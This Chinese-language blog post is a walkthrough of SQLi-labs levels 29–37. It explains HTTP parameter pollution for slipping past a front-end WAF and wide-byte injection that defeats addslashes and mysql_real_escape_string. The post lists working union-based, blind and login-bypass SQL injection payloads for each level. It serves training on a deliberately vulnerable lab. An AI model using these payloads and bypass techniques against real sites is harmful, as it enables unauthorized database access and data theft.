SQLi-labs Page-2_Less-29---Less-37

Posted Michae1

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQLi-labs Page-2_Less-29---Less-37相关的知识,希望对你有一定的参考价值。

29-32关和其他有些不一样

参考链接

https://www.cnblogs.com/heiwa-0924/p/12369438.html

https://www.jianshu.com/p/46cb6c354de5

两层服务器:

而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF

而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。如 payload:index.jsp?id=1&id=0 or 1=1--+,tomcat 只检查第一个参数id=1,而对第二个参数id=0 or 1=1--+不做检查,直接传给了 apache,apache 恰好解析第二个参数,便达到了攻击的目的。

该用法就是 HPP(HTTP Parameter Pollution)即 HTTP 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。

大多数服务器对于参数解析:

Less-29

?id=1\' order by 3%23   //判断注入类型、字段数3

?id=1\'union select 1,2,3%23   //没有找到显示位,关键字也没有被过滤

?id=1&id=2  //返回用户2

?id=1&id=2\'   //报错 注入点在第二个参数中

?id=1&id=0\'union select 1,2,3%23  //找到显示位

?id=1&id=0\'union select 1,database(),3%23   //数据库名,没有任何过滤

Less-30

?id=1&id=2\'   //正常回显

?id=1&id=2"   //报错,双引号字符型

?id=1&id=0"union select 1,2,3%23  //找到显示位

基于盲注

?id=1&id=1"and length(database())=8%23

Less-31

?id=1&id=2")   //与30的差别就是 多了个括号

Less-32

绕过-自定义过滤器-添加斜杠到危险字符

过滤代码:

function check_addslashes($string)
{
    $string = preg_replace(\'/\'. preg_quote(\'\\\\\') .\'/\', "\\\\\\\\\\\\", $string);          //escape any backslash
    $string = preg_replace(\'/\\\'/i\', \'\\\\\\\'\', $string);                               //escape single quote with a backslash
    $string = preg_replace(\'/\\"/\', "\\\\\\"", $string);                                //escape double quote with a backslash
    return $string;
}

考虑宽字节注入,让斜杠 失效

?id=1%df\'    //报错

?id=-1%bb%27 union select 1,2,3%23

Less-33

绕过AddSlashes()

 ?id=0%df%27union%20select%201,2,3%23   //宽字节绕过  找到显示位

Less-34

uname=%df\'or 1 limit 2,1%23&passwd=111&submit=Submit

Less-35

 参考链接:https://www.jianshu.com/p/f965424fe9a1

 这关很调皮,数字型查询根本不需要在乎是否被addslashes()
一切回到了第一关,最初始的注入方式。
但还是有存在的必要的,能启发我们思考:当我们面对一个一无所知的网站时应怎么分析后台。

而没有错误回显时,我们又应该怎么判断是数字型注入还是引号被过滤呢?

在能分辨出正确回显和错误回显(有固定字符串)时,id=1正确回显,尝试id=1\'id=1"

  • 若两者都正确回显:很可能是被过滤引号
  • 若两者都错误回显:很可能是数字型查询
  • 若一正确一错误:基本可确定是字符型查询

?id=1 and length(database())=8   //盲注

Less-36

绕过:mysql_real_escape_string($string)

?id=0%df%27union%20select%201,2,3%23   //宽字节注入  找到显示位

Less-37

post :

admin%df\'or 1=1 limit 3,1%23

 

Done!

以上是关于SQLi-labs Page-2_Less-29---Less-37的主要内容,如果未能解决你的问题,请参考以下文章

sqli-labs Less29-Less31

Sqli-Labs less29-31

SQLi-LABS Page-2(Basic Challenges)

sqli-labs靶场11-16关

20171102早sqli-libs Less 29-39

sqli-labs 下载安装